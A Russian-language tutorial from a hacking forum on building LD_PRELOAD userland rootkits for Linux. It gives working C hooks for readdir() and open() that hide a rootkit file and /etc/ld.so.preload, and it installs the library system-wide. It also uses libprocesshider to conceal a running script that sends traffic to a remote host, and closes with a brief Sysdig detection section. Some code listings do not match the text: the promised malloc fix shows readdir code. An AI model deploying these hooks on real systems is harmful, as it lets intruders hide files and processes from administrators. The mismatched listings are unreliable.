Статья Создаем userland-руткиты в Linux с помощью LD_PRELOAD

xss.is/threads/46320

В никсах существует переменная среды, при указании которой твои библиотеки будут загружаться раньше остальных. А это значит, что появляется возможность подменить системные вызовы. Называется переменная LD_PRELOAD, и в этой статье мы подробно обсудим ее значение в сокрытии (и обнаружении!) руткитов.

Официально главное предназначение LD_PRELOAD — отладка или проверка функций в динамически подключаемых библиотеках. Если не хочется исправлять и перекомпилировать саму библиотеку, то можно воспользоваться переменной среды.

К примеру, если нам нужно предзагрузить библиотеку ld.so, то у нас будет два способа:

1. Установить переменную среды LD_PRELOAD с файлом библиотеки.
2. Записать путь к библиотеке в файл /etc/ld.so.preload.

В первом случае мы объявляем переменную с библиотекой для текущего пользователя и его окружения. Во втором же наша библиотека будет загружена раньше остальных для **всех** пользователей системы.

Нам интересен как раз второй способ: именно он часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, листинг директории, процессов и прочих функций, позволяющих злоумышленнику скрывать свое присутствие в системе.

В основе этого исследования — публикация Абхинава Тхакура Crafting LD_PRELOAD Rootkits in Userland.

ПЕРЕОПРЕДЕЛЕНИЕ СИСТЕМНЫХ ВЫЗОВОВ

Прежде чем мы начнем сближение с реальными функциями руткитов, давай на небольшом примере покажу, как можно перехватить вызов стандартной функции malloc().

Для этого напишем простую программу, которая выделяет блок памяти с помощью функции malloc(), затем помещает в него функцией strncpy() строку I'll be back и выводит ее посредством fprintf() по адресу, который вернула malloc().

Создаем файл call_malloc.c:
Code:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
    char *alloc = (char *)malloc(0x100);
    strncpy(alloc, "I'll be back\0", 14);
    fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}
```

Теперь напишем программу, переопределяющую malloc(). Внутри — функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в STDERR с помощью fprintf(). Создадим файл libmalloc.c:
Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
void *malloc(size_t size)
{
    fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
    return 0;
}
```

Теперь с помощью GCC скомпилируем наш код:
Code:

```
$ ls
call_malloc.c  libmalloc.c
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc  call_malloc.c  libmalloc.c  libmalloc.so
```

Выполним нашу программу call_malloc:
Code:

```
$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back
```

Посмотрим, какие библиотеки использует наша программа, с помощью утилиты **ldd**:
Code:

```
$ ldd ./call_malloc
   linux-vdso.so.1 (0x00007fff0cd81000)
   libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
   /lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)
```

Отлично видно, что без использования предзагрузчика LD_PRELOAD стандартно загружаются три библиотеки:

1. linux-vdso.so.1 — представляет собой **виртуальный динамический разделяемый объект** (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее — man 7 vdso).
2. libc.so.6 — библиотека libc с используемой нами функцией malloc() в программе call_malloc.
3. ld-linux-x86-64.so.2 — сам динамический компоновщик.

Теперь давай определим переменную LD_PRELOAD и попробуем перехватить malloc(). Здесь я не буду использовать export и ограничусь однострочной командой для простоты:
Code:

```
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошибка сегментирования
```

Мы успешно перехватили malloc() из библиотеки libc.so, но сделали это не совсем чисто. Функция возвращает значение указателя NULL, что при разыменовании strncpy() в программе ./call_malloc вызывает ошибку сегментирования. Исправим это.

ОБРАБОТКА СБОЕВ

Чтобы иметь возможность незаметно выполнить полезную нагрузку руткита, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть два способа решить эту проблему:

- наша функция malloc() должна реализовывать функциональность malloc() библиотеки libc по запросу пользователя. Это полностью избавит от необходимости использовать malloc() из libc.so;
- libmalloc.so каким-то образом должна иметь возможность вызывать malloc() из библиотеки libc и возвращать результаты вызывающей программе.

Каждый раз при вызове malloc() динамический компоновщик вызывает версию malloc() из libmalloc.so, поскольку это первое вхождение malloc(). Но мы хотим вызвать следующее вхождение malloc() — то, что находится в libc.so.

Так происходит потому, что динамический компоновщик внутри использует функцию dlsym() из /usr/include/dlfcn.h для поиска адреса загруженного в память.

По умолчанию в качестве первого аргумента для dlsym() используется дескриптор RTLD_DEFAULT, который возвращает адрес первого вхождения символа. Однако есть еще один псевдоуказатель динамической библиотеки — RTLD_NEXT, который ищет следующее вхождение. Используя RTLD_NEXT, мы можем найти функцию malloc() библиотеки libc.so.

Отредактируем libmalloc.c. Комментарии объясняют, что происходит внутри программы:
Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
  orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  // Вызов orig_readdir() для получения каталога
  struct dirent *ep = orig_readdir(dirp);
  while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
          ep = orig_readdir(dirp);
  return ep;
}
```

В цикле проверяется, не NULL ли значение директории, затем вызывается strncmp() для проверки, совпадает ли d_name каталога с RKIT (файла с руткитом). Если оба условия верны, вызывается функция orig_readdir() для чтения следующей записи каталога. При этом пропускаются все директории, у которых d_name начинается с rootkit.so.

Теперь давай посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:
Code:

```
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back
```

Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении malloc() была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки libc.so.

Теперь, когда мы понимаем, как работает LD_PRELOAD и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.

Попробуем сделать так, чтобы утилита **ls**, когда выводит список файлов, пропускала руткит.

СКРЫВАЕМ ФАЙЛ ИЗ ЛИСТИНГА LS

Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты **ldd** посмотрим, какие библиотеки использует программа ls:
Code:

```
$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...
```

Получается, **ls** динамически скомпилирована с использованием функций библиотеки libc.so. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита **ls**. Для этого в пустой директории выполним ltrace ls:
Code:

```
$ ltrace ls
memcpy(0x55de4a72e9b0, ".\0", 2)  = 0x55de4a72e9b0
__errno_location()                = 0x7f3a35b07218
opendir(".")                      = 0x55de4a72e9d0
readdir(0x55de4a72e9d0)           = 0x55de4a72ea00
readdir(0x55de4a72e9d0)           = 0x55de4a72ea18
readdir(0x55de4a72e9d0)           = 0
closedir(0x55de4a72e9d0)          = 0
```

Очевидно, что при выполнении команды без аргументов **ls** использует системные вызовы opendir(), readdir() и closedir(), которые входят в библиотеку libc. Давай теперь задействуем LD_PRELOAD и переопределим эти стандартные вызовы своими. Напишем простую библиотеку, в которой изменим функцию readdir(), чтобы она скрывала наш файл с кодом.

Здесь мы уже переходим к написанию простого руткита без нагрузки. Все, что он будет делать, — это прятать сам себя от глаз администратора системы.

Я создал директорию rootkit и дальше буду работать в ней. Создадим файл rkit.c.
Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  struct dirent *ep = orig_readdir( dirp );
  while ( ep != NULL &&
        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);
         }
  return ep;
}
```

Компилируем и проверяем работу:
Code:

```
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
итого 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a  496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a  16K ноя 23 23:46 rootkit.so

$ LD_PRELOAD=./rootkit.so ls -lah
итого 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a  496 ноя 23 23:44 rkit.c
```

Нам удалось скрыть файл rootkit.so от посторонних глаз. Пока мы тестировали библиотеку исключительно в пределах одной команды.

Используем /etc/ld.so.preload

Давай воспользуемся записью в /etc/ld.so.preload для сокрытия нашего файла от всех пользователей системы. Для этого запишем в ld.so.preload путь до нашей библиотеки:
Code:

```
# ls
rkit.c  rootkit.so

# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls
rkit.c
```

Теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но опытный администратор довольно легко нас обнаружит, так как само по себе наличие файла /etc/ld.so.preload может говорить о присутствии руткита — особенно если раньше такого файла не было.

СКРЫВАЕМ LD.SO.PRELOAD

Давай попытаемся скрыть из листинга и сам файл ld.so.preload. Немного модифицируем код rkit.c:
Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  struct dirent *ep = orig_readdir( dirp );
  while ( ep != NULL &&
        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);
         }
  return ep;
}
```

Для наглядности я добавил к предыдущей программе еще один макрос LD_PL с именем файла ld.so.preload, который мы также добавили в цикл while, где сравниваем имя файла для скрытия.

После компиляции исходный файл rootkit.so будет перезаписан и из вывода утилиты **ls** пропадет и нужный файл ld.so.preload. Проверяем:
Code:

```
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c
$ ls /etc/
...
ldap          tmpfiles.d
ld.so.cache   ucf.conf
ld.so.conf    udev
ld.so.conf.d  udisks2
libao.conf    ufw
libaudit.conf update-motd.d
libblockdev   UPower
...
```

Здорово! Мы только что стали на один шаг ближе к полной конспирации. Вроде бы это победа, но не спеши радоваться.

ПОГРУЖАЕМСЯ ГЛУБЖЕ

Давай проверим, сможем ли мы прочитать файл ld.so.preload командой **cat**:
Code:

```
$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so
```

Так-так-так. Получается, мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло?

Очевидно, что для получения содержимого утилита **cat** вызывает другую функцию — не readdir(), которую мы так старательно переписывали. Что ж, давай посмотрим, что использует cat:
Code:

```
$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180)      = 0
getpagesize()                       = 4096
open("/etc/ld.so.preload", 0, 01)   = 3
__fxstat(1, 3, 0x7ffded9f6180)      = 0
posix_fadvise(3, 0, 0, 2)           = 0
...
```

На этот раз нам нужно поработать с функцией open(). Поскольку мы уже опытные, давай добавим в наш руткит функцию, которая при обращении к файлу /etc/ld.so.preload будет вежливо говорить, что файла не существует (Error no entry или просто ENOENT).

Снова модифицируем rkit.c:
Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  struct dirent *ep = orig_readdir( dirp );
  while ( ep != NULL &&
        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);
         }
  return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX];
  if(!o_open)
    o_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  if(strcmp(real_path, LD_PATH) == 0)
  {
    errno = ENOENT;
    return -1;
  }
  return o_open(path, oflag);
}
```

Здесь мы добавили кусок кода, который делает то же самое, что и с readdir().
Компилируем и проверяем:
Code:

```
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого файла или каталога
```

Так гораздо лучше, но это еще далеко не все варианты обнаружения /etc/ld.so.preload.

Мы до сих пор можем без проблем удалить файл, переместить его со сменой названия (и тогда ls снова его увидит), поменять ему права без уведомления об ошибке. Даже bash услужливо продолжит его имя при нажатии на Tab.

В хороших руткитах, эксплуатирующих лазейку с LD_PRELOAD, реализован перехват следующих функций:

- listxattr, llistxattr, flistxattr;
- getxattr, lgetxattr, fgetxattr;
- setxattr, lsetxattr, fsetxattr;
- removexattr, lremovexattr, fremovexattr;
- open, open64, openat, creat;
- unlink, unlinkat, rmdir;
- symlink, symlinkat;
- mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64;
- execve.

Разбирать подмену каждой из них мы, конечно же, не будем. Можешь в качестве примера перехвата перечисленных функций посмотреть руткит cub3 — там все те же dlsym() и RTLD_NEXT.

СКРЫВАЕМ ПРОЦЕСС С ПОМОЩЬЮ LD_PRELOAD

При работе руткиту нужно как-то скрывать свою активность от стандартных утилит мониторинга, таких как **lsof**, **ps**, **top**.

Мы уже довольно детально разобрались, как работает переопределение функций LD_PRELOAD. Для процессов все то же самое. Более того, стандартные программы используют в своей работе **procfs**, виртуальную файловую систему, которая представляет собой интерфейс для взаимодействия с ядром ОС.

Чтение и запись в procfs реализованы так же, как и в обычной файловой системе. То есть, как ты можешь догадаться, наш опыт с readdir() здесь придется кстати.

libprocesshider

Как скрыть активность из мониторинга, предлагаю рассмотреть на хорошем примере libprocesshider, который разработал Джанлука Борелло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обнаружения руткитов LD_PRELOAD мы поговорим в конце статьи).

Давай скопируем код с GitHub и разберемся, что к чему:
Code:

```
$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py  Makefile  processhider.c  README.md
```

В описании к libprocesshider все просто: делаем make, копируем в /usr/local/lib/ и добавляем в /etc/ld.so.preload. Сделаем все, кроме последнего:
Code:

```
$ make
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ sudo mv libprocesshider.so /usr/local/lib/
```

Теперь давай посмотрим, каким образом ps получает информацию о процессах. Для этого запустим ltrace:
Code:

```
$ ltrace /bin/ps
...
time(0)                                                    = 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207)                        = 0
openproc(96, 0, 0, 0)                                      = 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0)  = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)             = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)             = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)             = 0x55c6f8258580
...
```

Информацию о процессе получаем при помощи функции readproc(). Посмотрим реализацию этой функции в файле readproc.c:
Code:

```
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
  static struct direct *ent;
  char *restrict const path = PT->path;
  for (;;) {
    ent = readdir(PT->procfs);
    if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
    if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
  }
  p->tgid = strtoul(ent->d_name, NULL, 10);
  p->tid = p->tgid;
  memcpy(path, "/proc/", 6);
  strcpy(path+6, ent->d_name);
  return 1;
}
```

Из этого кода понятно, что PID процессов получают, вызывая readdir() в цикле for. Другими словами, если нет директории процесса — нет и самого процесса для утилит мониторинга. Приведу пример части кода libprocesshider, где уже знакомым нам методом мы скрываем директорию процесса:
Code:

```
...
while(1)
{
    dir = original_##readdir(dirp);
    if(dir) {
        char dir_name[256];
        char process_name[256];
        if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
            strcmp(dir_name, "/proc") == 0 &&
            get_process_name(dir->d_name, process_name) &&
            strcmp(process_name, process_to_filter) == 0) {
            continue;
        }
    }
     break;
}
return dir;
...
```

Причем само имя процесса get_process_name() берется из /proc/pid/stat.

Проверим наши догадки. Для этого запустим предлагаемый evil_script.py в фоне:
Code:

```
$ ./evil_script.py 1.2.3.4 1234 &
[1] 3435
```

3435 — это PID нашего работающего процесса evil_script.py. Проверим вывод утилиты htop и убедимся, что evil_script.py присутствует в списке процессов.

evil_script.py в списке процессов htop

Проверим вывод ps и lsof для обнаружения сетевой активности:
Code:

```
$ sudo ps aux | grep evil_script.py
root       3435 99.5  0.4  19272  8260 pts/1    R    11:48  63:20 /usr/bin/python
./evil_script.py 1.2.3.4 1234
root       3616  0.0  0.0   6224   832 pts/0    S+   12:52   0:00 grep evil_script.py
$ sudo lsof -ni | grep evil_scri
evil_scri 3435        root    3u  IPv4  41410      0t0  UDP 192.168.232.138:52676-
>1.2.3.4:1234
```

Теперь посмотрим, существует ли директория с PID процесса evil_script.py:
Code:

```
$ sudo ls /proc | grep 3435
3435

$ cat /proc/3435/status
Name: evil_script.py
Umask:  0022
State:  R (running)
Tgid: 3435
Ngid: 0
Pid:  3435
...
```

Все предсказуемо. Теперь самое время добавить библиотеку libprocesshider.so в предзагрузку глобально для всей системы. Пропишем ее в /etc/ld.so.preload:
Code:

```
# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
```

Проверяем директорию /proc, а также вывод lsof и ps.
Code:

```
$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root       3707  0.0  0.0   6244   900 pts/0    S+   13:10   0:00 grep evil_script.py
```

Результат налицо. Теперь в /proc нельзя посмотреть директорию с PID скрипта evil_script.py. Однако статус процесса по-прежнему виден в файле /proc/3435/status.

Code:

```
$ cat /proc/3435/status
Name: evil_script.py
Umask:  0022
State:  R (running)
Tgid: 3435
Ngid: 0
Pid:  3435
...
```

Подытожим. В первой части статьи мы изучили методы перехвата функций и их изменение, что позволяет скрывать руткиты. А дальше проделали то же самое для скрытия процессов от стандартных утилит мониторинга.

Как ты догадываешься, простые руткиты, несмотря на все хитрости, поддаются детекту. Например, при помощи разных манипуляций с файлом /etc/ld.so.preload или изучения используемых библиотек при помощи ldd.

Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, ldd молчит, а подозрения на сетевую или иную активность все же есть?

SYSDIG КАК РЕШЕНИЕ

В отличие от стандартных инструментов, утилита **Sysdig** устроена по-другому. По архитектуре она близка к таким продуктам, как **libcap**, **tcpdump** и **Wireshark**.

Специальный драйвер sysdig-probe перехватывает системные события на уровне ядра, после чего активируется функция ядра tracepoints, которая, в свою очередь, запускает обработчики этих событий. Обработчики сохраняют информацию о событии в совместно используемом буфере. Затем эта информация может быть выведена на экран или сохранена в текстовом файле.

Давай посмотрим, как с помощью Sysdig найти evil_script.py. К примеру, по загрузке центрального процессора:
Code:

```
$ sudo sysdig -c topprocs_cpu
CPU%                Process             PID
------------------------------------------
99.00%              evil_script.py      5979
2.00%               sysdig              5997
0.00%               sshd                928
0.00%               wpa_supplicant      474
0.00%               systemd             909
0.00%               exim4               850
0.00%               sshd                938
0.00%               su                  948
0.00%               in:imklog           472
0.00%               in:imuxsock         472
```

Можно посмотреть выполнение ps. Бонусом Sysdig покажет, что динамический компоновщик загружал пользовательскую библиотеку libprocesshide раньше, чем **libc**: Code:

```
$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps)
(out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512
vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so)
name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6)
name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...
```

Схожие функции предоставляют утилиты **SystemTap**, **DTrace** и его свежая полноценная замена — **BpfTrace**.

Дополнительная литература

WWW

Проекты на GitHub:

Автор @n0a Denis Simonov, n0a.pw